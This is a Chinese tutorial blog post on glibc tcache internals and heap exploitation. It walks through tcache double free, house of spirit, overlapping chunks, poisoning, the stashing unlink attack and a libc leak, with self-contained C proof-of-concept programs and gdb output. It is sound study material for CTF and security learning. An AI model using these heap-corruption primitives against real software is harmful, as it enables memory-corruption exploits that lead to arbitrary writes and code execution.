Tcache漏洞

介绍

tcache 为每个线程创建一个缓存(cache),从而实现无锁的分配算法,有不错的性能提升。libc-2.26 正式提供了该机制,并默认开启

# define TCACHE_MAX_BINS  64
# define TCACHE_FILL_COUNT 7
  • tcache 每个线程默认使用 64 个单链表结构的 bins,每个 bins 最多存放 7 个 chunk
  • chunk 的大小在 64 位机器上以 16 字节递增,从 24 到 1032 字节
  • tcache bin 只用于存放 non-large 的 chunk

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct

  • 数组 entries:放置 64 个 bins
  • 数组 counts:存放每个 bins 中的 chunk 数量

tcache_entryFD指针):放入相应 bins 中的 chunk 都会在其用户数据中包含,指向同 bins 中的下一个 chunk

触发在 tcache 中放入 chunk

  • free 时:在 fastbin 的操作之前进行,如果 chunk size 符合要求,并且对应的 bins 还未装满,则将其放进去。
  • malloc 时:有三个地方会触发。
    • 如果从 fastbin 中成功返回了一个需要的 chunk,那么对应 fastbin 中的其他 chunk 会被放进相应的 tcache bin 中,直到上限。
      需要注意的是 chunks 在 tcache bin 的顺序和在 fastbin 中的顺序是反过来的。
    • smallbin 中的情况与 fastbin 相似,双链表中的剩余 chunk 会被填充到 tcache bin 中,直到上限。
    • binning code(chunk合并等其他情况)中,每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache 会返回其中一个

触发从 tcache 中取出 chunk 的操作

  • 在 __libc_malloc() 调用 _int_malloc() 之前,如果 tcache bin 中有符合要求的 chunk,则直接将它返回。
  • bining code 中,如果在 tcache 中放入 chunk 达到上限,则会直接返回最后一个 chunk。
  • binning code 结束后,如果没有直接返回(如上),那么如果有至少一个符合要求的 chunk 被找到,则返回最后一个。

注意:tcache 中的 chunk 与 相邻 chunk 和 top chunk 都不会合并

安全性分析

tcache_put() 和 tcache_get() 分别用于从单链表中放入和取出 chunk:

/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

**对 tcache 的操作在 free 和 malloc 中往往都处于很靠前的位置,导致原来的许多有效性检查都被无视**导致许多漏洞利用也更加容易

利用

tcache_dup

tcache_dup 与 fastbin_dup 类似, double-free 也不再需要考虑 top 的问题,直接 free 两次就可以了

#include <stdlib.h>
#include <stdio.h>
int main() {
    void *p1 = malloc(0x10);
    fprintf(stderr, "1st malloc(0x10): %p\n", p1);
    fprintf(stderr, "Freeing the first one\n");
    free(p1);
    fprintf(stderr, "Freeing the first one again\n");
    free(p1);
    fprintf(stderr, "2nd malloc(0x10): %p\n", malloc(0x10));
    fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
}
$ ./tcache_dup
1st malloc(0x10): 0x56088c39f260
Freeing the first one
Freeing the first one again
2nd malloc(0x10): 0x56088c39f260
3rd malloc(0x10): 0x56088c39f260

第一次 free 后:

gdb-peda$ x/4gx 0x0000555555756260-0x10
0x555555756250: 0x0000000000000000      0x0000000000000021
0x555555756260: 0x0000000000000000      0x0000000000000000
gdb-peda$ vmmap heap
Start              End                Perm      Name
0x0000555555756000 0x0000555555777000 rw-p      [heap]
gdb-peda$ x/10gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000000001      0x0000000000000000  <-- counts
0x555555756020: 0x0000000000000000      0x0000000000000000
0x555555756030: 0x0000000000000000      0x0000000000000000
0x555555756040: 0x0000000000000000      0x0000000000000000
0x555555756050: 0x0000555555756260      0x0000000000000000  <-- entries

chunk 被放入相应的 tcache bin 中,可以看到该 tcache bin 的 counts 被设为 1,表示有 1 个 chunk,入口为 0x0000555555756260。

第二次 free 后:

gdb-peda$ x/4gx 0x0000555555756260-0x10
0x555555756250: 0x0000000000000000      0x0000000000000021  <-- chunk 1 [double freed]
0x555555756260: 0x0000555555756260      0x0000000000000000
gdb-peda$ x/10gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000000002      0x0000000000000000  <-- counts
0x555555756020: 0x0000000000000000      0x0000000000000000
0x555555756030: 0x0000000000000000      0x0000000000000000
0x555555756040: 0x0000000000000000      0x0000000000000000
0x555555756050: 0x0000555555756260      0x0000000000000000  <-- entries
counts 变成 2,入口不变,表示 tcache bin 已经有两个 chunk 了,虽然是相同的。

两次 malloc 后:

gdb-peda$ x/10gx 0x0000555555756000+0x10
0x555555756010: 0x0000000000000000      0x0000000000000000  <-- counts
0x555555756020: 0x0000000000000000      0x0000000000000000
0x555555756030: 0x0000000000000000      0x0000000000000000
0x555555756040: 0x0000000000000000      0x0000000000000000
0x555555756050: 0x0000555555756260      0x0000000000000000

于是我们得到了两个指向同一块内存区域的指针。

tcache_house_of_spirit

free 掉一个栈上的指针,再malloc一个相同用户数据大小的,就会把堆分配到栈上

tcache 在释放堆块时没有对其前后堆块进行合法性校验,只需要本块对齐(2*SIZE_SZ)就可以将堆块释放到 tcache 中,而在申请时,tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到 smallbin

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
    malloc(1);  // init heap
    fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n");
    unsigned long long *a, *b;
    unsigned long long fake_chunk[64] __attribute__ ((aligned (16)));
    fprintf(stderr, "The chunk:  %p\n", &fake_chunk[0]);
    fake_chunk[1] = 0x110;  // the size
    memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10);
    fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]);
    a = &fake_chunk[2];
    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);
    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]);
    b = malloc(0x100);
    memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10);
    fprintf(stderr, "malloc(0x100): %p\n", b);
}
$ ./tcache_house_of_spirit
We will overwrite a pointer to point to a fake 'smallbin' region.
The chunk:  0x7fffffffdb00
Overwritting our pointer with the address of the fake region inside the fake chunk, 0x7fffffffdb00.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10!
malloc(0x100): 0x7fffffffdb10

tcache_overlapping_chunks

在 _int_free() 时,libc 完全没有对 chunk 进行检查,所以我们可以直接修改其 size,在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk,造成堆块重叠。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
    intptr_t *p1, *p2, *p3;
    p1 = malloc(0x50 - 8);
    p2 = malloc(0x20 - 8);
    memset(p1, 0x41, 0x50-8);
    memset(p2, 0x41, 0x30-8);
    fprintf(stderr, "Allocated victim chunk with requested size 0x48: %p\n", p1);
    fprintf(stderr, "Allocated sentry element after victim: %p\n", p2);
    int evil_chunk_size = 0x110;
    int evil_region_size = 0x110 - 8;
    fprintf(stderr, "Emulating corruption of the victim's size to 0x110\n");
    *(p1-1) = evil_chunk_size;
    fprintf(stderr, "Freed victim chunk to put it in a different tcache bin\n");
    free(p1);
    p3 = malloc(evil_region_size);
    memset(p3, 0x42, evil_region_size);
    fprintf(stderr, "Requested a chunk of 0x100 bytes\n");
    fprintf(stderr, "p3: %p ~ %p\n", p3, (char *)p3+evil_region_size);
    fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
}
$ ./tcache_overlapping_chunks
Allocated victim chunk with requested size 0x48: 0x555555756260
Allocated sentry element after victim: 0x5555557562b0
Emulating corruption of the victim's size to 0x110
Freed victim chunk to put it in a different tcache bin
Requested a chunk of 0x100 bytes
p3: 0x555555756260 ~ 0x555555756368
p2: 0x5555557562b0 ~ 0x5555557562c8

tcache_poisoning

实例通过破坏 tcache bin 中 chunk 的 fd 指针将其指向不同的位置,从而改变 tcache_entry 的 next 指针,在 malloc 时在任意位置得到 chunk。而 tcache_get() 函数没有对此做任何的检查。

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
int main() {
    intptr_t *p1, *p2, *p3;
    size_t target[10];
    printf("Our target is a stack region at %p\n", (void *)target);
    p1 = malloc(0x30);
    memset(p1, 0x41, 0x30+8);
    fprintf(stderr, "Allocated victim chunk with requested size 0x30 at %p\n", p1);
    fprintf(stderr, "Freed victim chunk to put it in a tcache bin\n");
    free(p1);
    fprintf(stderr, "Emulating corruption of the next ptr\n");
    *p1 = (int64_t)target;
    fprintf(stderr, "Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target\n");
    p2 = malloc(0x30);
    memset(p2, 0x42, 0x30+8);
    p3 = malloc(0x30);
    memset(p3, 0x42, 0x30+8);
    fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
}
$ ./tcache_poisoning
Our target is a stack region at 0x7fffffffdcc0
Allocated victim chunk with requested size 0x30 at 0x555555756670
Freed victim chunk to put it in a tcache bin
Emulating corruption of the next ptr
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0

值得注意的是,在第二次malloc到next指针指向的位置前,counts已经为0,第二次malloc之后,counts没有做检查直接减1,造成counts整数溢出(0x00-1=0xff),0xff 在 unsorted bin attack 里也有很巧妙的用处

libc-2.28
已经修复counts整数溢出问题,和 double-free的检测

tcache stashing unlink attack

这种攻击利用的是 tcache bin 有剩余时,同大小的 small bin 会放进 tcache 中

  • calloc 分配堆块时不从 tcache bin 中选取
  • 在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache ,在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失
  • smallbin 是 FIFO 分配机制,按照 bk 指针寻块
  • tcache 的分配机制是 LIFO
  • tcache 中 malloc 有 bin->bk = bck;bck->fd = bin 的 unlink 操作
#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
    fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
    fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
    fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 tcache
    fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);//>0x90

    //now 5 tcache bins
    fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
    return 0;
}

调用calloc前

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6038a0 (size : 0x20760) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x0 and 0x603390 is broken)
(0xa0)   tcache_entry[8](5): 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x603390
0x603390:       0x0000000000000000      0x00000000000000a1
0x6033a0:       0x0000000000603250      0x00007fffffffdbc0
gdb-peda$ x/4gx 0x00007fffffffdbc0
0x7fffffffdbc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdbd0: 0x0000000000000000      0x00007fffffffdbd0
gdb-peda$ x/4gx 0x0000000000603250
0x603250:       0x0000000000000000      0x00000000000000a1
0x603260:       0x00007ffff7dcfd30      0x0000000000603390
gdb-peda$ x/4gx 0x00007ffff7dcfd30
0x7ffff7dcfd30 <main_arena+240>:        0x00007ffff7dcfd20      0x00007ffff7dcfd20
0x7ffff7dcfd40 <main_arena+256>:        0x0000000000603390      0x0000000000603250

调用calloc后

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6038a0 (size : 0x20760) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0
(0x0a0)  smallbin[ 8]: 0x603390 (doubly linked list corruption 0x603390 != 0x6033a0 and 0x603390 is broken)
(0xa0)   tcache_entry[8](7): 0x7fffffffdbd0 --> 0x6033a0 --> 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x00000000006033a0      0x00007fffffffdbd0
0x7fffffffdbe0: 0x00007ffff7dcfd30      0x0000000000000000

libc 泄露

在以前的 libc 版本中,我们只需这样:

#include <stdlib.h>
#include <stdio.h>

int main()
{
    long *a = malloc(0x1000);
    malloc(0x10);
    free(a);
    printf("%p\n",a[0]);
} 

但是在 2.26 之后的 libc 版本后,我们首先得先把 tcache 填满:

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);

    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} 

之后,我们就可以 leak libc 了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值